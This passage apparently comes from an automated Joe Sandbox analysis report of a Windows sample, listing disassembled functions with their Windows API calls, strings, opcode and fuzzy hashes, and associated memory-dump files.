Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: 77c002dd57727ae1c120746f698cf05d15210d6afcb35098894f7f7bfabb7748
Instruction ID: a8c172639951b3e6cb5da7468db87f3e5ba31e7f9e45713803e63bcfa106701e
Opcode Fuzzy Hash: 77c002dd57727ae1c120746f698cf05d15210d6afcb35098894f7f7bfabb7748
Instruction Fuzzy Hash: 100188717001046BCB10FF68ED81FDB739AE718306F109226F908E73A1DABADD558759

Function 10011F50 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10011F5D
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10011F6A
?egptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10011F75
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 10011F82

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?gptr@?$basic_streambuf@$?egptr@?$basic_streambuf@
String ID:
API String ID: 2950233615-0
Opcode ID: 1e4bcc0d99ed487de32ae37c9549659cbe616bda3220ddbe920771c154be9835
Instruction ID: d4953d2e9632dab8d67af48db5b56fd773fcfbd27f84caad3cc3cb56b92c495c
Opcode Fuzzy Hash: 1e4bcc0d99ed487de32ae37c9549659cbe616bda3220ddbe920771c154be9835
Instruction Fuzzy Hash: FA110D74E00119EFCB58DFA4D9959EDB7B5FF48200B1181A9E805AB351EB30EF45DB90

Function 005A3D7C Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 005A3D8F
GetWindowLongW.USER32(?,000000EC), ref: 005A3DD1
SetWindowLongW.USER32(?,000000EC,00000000), ref: 005A3DEB
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,C31852FF,?,00000000,?,005A3EA5,?,?,?,00000000), ref: 005A3E13

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Window$Long$Visible
String ID:
API String ID: 2967648141-0
Opcode ID: 3701598597631481a4bebe85878359a59fd4de1d73864697aee8f0662b462547
Instruction ID: a7e9761be64e8251a726e41e5ea799dd36543e273c62785c0243dde29f2c5ab3
Opcode Fuzzy Hash: 3701598597631481a4bebe85878359a59fd4de1d73864697aee8f0662b462547
Instruction Fuzzy Hash: 50115670205144AFDB10EB29D889FA97FD9BB45356F448595F844CF361C774EE80C790

Function 004F9144 Relevance: 6.0, APIs: 4, Instructions: 35threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(00000000), ref: 004F9151
GetCurrentProcessId.KERNEL32(?,00000000,00000000,005A4B86,?,?,00000000,00000001,005A2E83,?,?,?,?,00000000), ref: 004F915A
GlobalFindAtomW.KERNEL32(00000000,?,00000000,00000000,005A4B86,?,?,00000000,00000001,005A2E83,?,?,?,?,00000000), ref: 004F916F
GetPropW.USER32(00000000,00000000), ref: 004F9186

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Process$AtomCurrentFindGlobalPropThreadWindow
String ID:
API String ID: 2582817389-0
Opcode ID: 25ecc4edb2365f2cde5ab71ba1d4f521c8a402254a91719a356be1fc28b1867b
Instruction ID: 6cdfd07cd157af09d6636e7e024685bcdc2838eed951bc29520a0badc25c7c68
Opcode Fuzzy Hash: 25ecc4edb2365f2cde5ab71ba1d4f521c8a402254a91719a356be1fc28b1867b
Instruction Fuzzy Hash: 32F0306260021666B72477B6AE85AFB328C8A057A5740297FFA01D7216D57CCC8283BD

Function 00644688 Relevance: 6.0, APIs: 4, Instructions: 34sleepCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 006446A8
GetLastError.KERNEL32 ref: 006446B2
GetTickCount.KERNEL32 ref: 006446BC
Sleep.KERNEL32(00000032), ref: 006446CC

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ErrorLast$CountSleepTick
String ID:
API String ID: 2227064392-0
Opcode ID: 0d34409079f3285415336e5086e324ebfbbd45d85097019a7f8f2458989eb29f
Instruction ID: 8c410b6b5025aaf122e9bdc0c1ce3c8724fef5309a0de07dabf959826b4bab6c
Opcode Fuzzy Hash: 0d34409079f3285415336e5086e324ebfbbd45d85097019a7f8f2458989eb29f
Instruction Fuzzy Hash: 40E0E57230C2410EA32032AE18866BE594BDA97394F35097BF180C1216CD088C968136

Function 10012C30 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

?eback@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?,?,10012136), ref: 10012C3A
?eback@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?,10012136), ref: 10012C4D
?egptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?,10012136), ref: 10012C5C
?setg@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXPAD00@Z.MSVCP140(100120FA,100120FA,100120F9,?,10012136), ref: 10012C80

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?eback@?$basic_streambuf@$?egptr@?$basic_streambuf@?setg@?$basic_streambuf@D00@
String ID:
API String ID: 3089488326-0
Opcode ID: 31da55f76b99386bfca52db2829809a8af7d29f5ef04e72f75014f1d39d39b3f
Instruction ID: 718b455e6a9fe28b5531d214fab6855221ed4fdccad38d515428ce19cb46a070
Opcode Fuzzy Hash: 31da55f76b99386bfca52db2829809a8af7d29f5ef04e72f75014f1d39d39b3f
Instruction Fuzzy Hash: 97F0AF74901108EFCB48DF98CD9599EB7B6FF48305B20819AE406A3351DB31AF15DB54

Function 0063DA44 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008), ref: 0063DA4D
OpenProcessToken.ADVAPI32(00000000,00000008), ref: 0063DA53
GetTokenInformation.ADVAPI32(00000008,00000012(TokenIntegrityLevel),00000000,00000004,00000008,00000000,00000008), ref: 0063DA75
CloseHandle.KERNEL32(00000000,00000008,TokenIntegrityLevel,00000000,00000004,00000008,00000000,00000008), ref: 0063DA86

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 52eacd67af02c92b88f6b7150cd3555fd3abc884029a5d5279a962a9430070f6
Instruction ID: a157fd3303c1430b13f319c7757610127fd6bd2de266f3ae7d41e5c3beec6acc
Opcode Fuzzy Hash: 52eacd67af02c92b88f6b7150cd3555fd3abc884029a5d5279a962a9430070f6
Instruction Fuzzy Hash: 59F030706483006BD700EBA5DD82EDB76DCAF44394F00492EBF94C7291E678D95897A2

Function 004E43D0 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 004E43D9
SelectObject.GDI32(00000000,058A00B4), ref: 004E43EB
GetTextMetricsW.GDI32(00000000), ref: 004E43F6
ReleaseDC.USER32(00000000,00000000), ref: 004E4407

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: MetricsObjectReleaseSelectText
String ID:
API String ID: 2013942131-0
Opcode ID: a6aecb0737437b3e4e44ddca18d58a6d0b7d8c9274c0db10c9c3bc7fb89915e8
Instruction ID: d4d349d3644daeae5b714f5edb0297babd8c78eacc5647d64bd84649639e733b
Opcode Fuzzy Hash: a6aecb0737437b3e4e44ddca18d58a6d0b7d8c9274c0db10c9c3bc7fb89915e8
Instruction Fuzzy Hash: 33E04F617026A126D61161A75D82BEB274C4F423AAF08012AFD54D92E3DA4DCD62C2FA

Function 10016BF4 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000001), ref: 10016C06
GetCurrentThreadId.KERNEL32 ref: 10016C15
GetCurrentProcessId.KERNEL32 ref: 10016C1E
QueryPerformanceCounter.KERNEL32(?), ref: 10016C2B

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 842f5c9d0410f161de26bc26939d162bf704e3e37519bf8139df35696172d6f0
Instruction ID: 6b5b90a3d804e5009f3a100d95e0ac76ac391a824cc924ed74941b345312ade6
Opcode Fuzzy Hash: 842f5c9d0410f161de26bc26939d162bf704e3e37519bf8139df35696172d6f0
Instruction Fuzzy Hash: 2CF05F74D1021DEBDB41DBB4CA8999EBBF4EF1C204BA18695E412E6110E630AB489B50

Function 00CE6BCB Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000001), ref: 00CE6BDD
GetCurrentThreadId.KERNEL32 ref: 00CE6BEC
GetCurrentProcessId.KERNEL32 ref: 00CE6BF5
QueryPerformanceCounter.KERNEL32(?), ref: 00CE6C02

Memory Dump Source

Source File: 00000000.00000002.2077740458.0000000000CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_leBwnyHIgx.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 842f5c9d0410f161de26bc26939d162bf704e3e37519bf8139df35696172d6f0
Instruction ID: 6b5b90a3d804e5009f3a100d95e0ac76ac391a824cc924ed74941b345312ade6
Opcode Fuzzy Hash: 842f5c9d0410f161de26bc26939d162bf704e3e37519bf8139df35696172d6f0
Instruction Fuzzy Hash: 2CF05F74D1021DEBDB41DBB4CA8999EBBF4EF1C204BA18695E412E6110E630AB489B50

Function 00645F94 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 148windowCOMMON

Download Yara Rule

APIs

SendNotifyMessageW.USER32(?,00000496,00002711,-00000001), ref: 006461BC

Strings

HW[, xrefs: 00645FDB, 00645FED
MS PGothic, xrefs: 00646010, 00646023

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: MessageNotifySend
String ID: HW[$MS PGothic
API String ID: 3556456075-2635353643
Opcode ID: 59f04f6aee3bffc9c1295158f9acede3f64b47b25c96f5cb70cb93cdb20aa1c8
Instruction ID: bceb75bb431b8eb4c574679ca4a5eb6d1cf06a39740a1e3265182ded441c346e
Opcode Fuzzy Hash: 59f04f6aee3bffc9c1295158f9acede3f64b47b25c96f5cb70cb93cdb20aa1c8
Instruction Fuzzy Hash: EC5140703102018BCB10EF69D985E967BA3FB55304B14517AF845AF3A7CA78EC46CF9A

Function 10005540 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 10005573
Concurrency::task_continuation_context::task_continuation_context.LIBCPMTD ref: 10005672

Strings

.exe, xrefs: 100055D5

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Concurrency::task_continuation_context::task_continuation_contextFileModuleName
String ID: .exe
API String ID: 2188046178-4119554291
Opcode ID: c8dc7b2a76f962d9c9e5e2295d0bb392a2ad8b6eac705aa3666f7bffbb178c74
Instruction ID: 322e95b2db96aea7f088eda3d8bee12a526519093e635f9f9e857dc9ab2affb0
Opcode Fuzzy Hash: c8dc7b2a76f962d9c9e5e2295d0bb392a2ad8b6eac705aa3666f7bffbb178c74
Instruction Fuzzy Hash: 15513774C04248EFEB15CBA4CC91BEEBBB5EF15300F148199E1167B296DB746B48CBA1

Function 005F8B78 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,?,00000000,005F8C6D,?,0066978C,?,00000003,00000000,00000000,?,006444C3,00000000,006445EE), ref: 005F8BC0
GetLastError.KERNEL32(00000000,00000000,?,00000000,005F8C6D,?,0066978C,?,00000003,00000000,00000000,?,006444C3,00000000,006445EE), ref: 005F8BC9

Strings

.tmp, xrefs: 005F8BA9

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: 0dd2e78ac53445f243b90664175e46d6b94ca7fdf7539982ce6cd959b1b8a79f
Instruction ID: c4b9951d0c9cc56d7ffc3af5a52d4afc2fe12c17b36d5983631b7f23f90a8f37
Opcode Fuzzy Hash: 0dd2e78ac53445f243b90664175e46d6b94ca7fdf7539982ce6cd959b1b8a79f
Instruction Fuzzy Hash: 32214675A0010D9FDB00EBA4C956AFEB7F9FB88304F50457AF900B7381DA386E058AA4

Function 0064EC32 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097), ref: 0064EC72

Strings

/INITPROCWND=$%x , xrefs: 0064ECA2
@, xrefs: 0064EC38

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Window
String ID: /INITPROCWND=$%x $@
API String ID: 2353593579-4169826103
Opcode ID: 10bae26bf5f2a0ea0e044a5652ad93d77c5c1b14996636414ded1eee9e9c8fb2
Instruction ID: 8b2991d2d1f953f99e0989ce018fc3471add5941c41498d69d44fc2df87f3202
Opcode Fuzzy Hash: 10bae26bf5f2a0ea0e044a5652ad93d77c5c1b14996636414ded1eee9e9c8fb2
Instruction Fuzzy Hash: A321A234A043499FDB04EBA4DC91EEEBBF6FF49304F64447AE500E7291DA799904C754

Function 10016D47 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 10016D88
___raise_securityfailure.LIBCMT ref: 10016E70

Strings

r<e, xrefs: 10016E51

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: r<e
API String ID: 3761405300-3210016143
Opcode ID: 450f55da5f99c408a49f7ed2eee0c8ae3ebd1ba68c36369af010e05196f36eeb
Instruction ID: a67c13fa0676d0ded6a491c3c047187990066a390ac77e1bb819cc9b9643fb58
Opcode Fuzzy Hash: 450f55da5f99c408a49f7ed2eee0c8ae3ebd1ba68c36369af010e05196f36eeb
Instruction Fuzzy Hash: E621B0B5A08328DBF705CF28DDE5E647BB4FB09704F10D12AE5049B2A1E3B0D685CB45

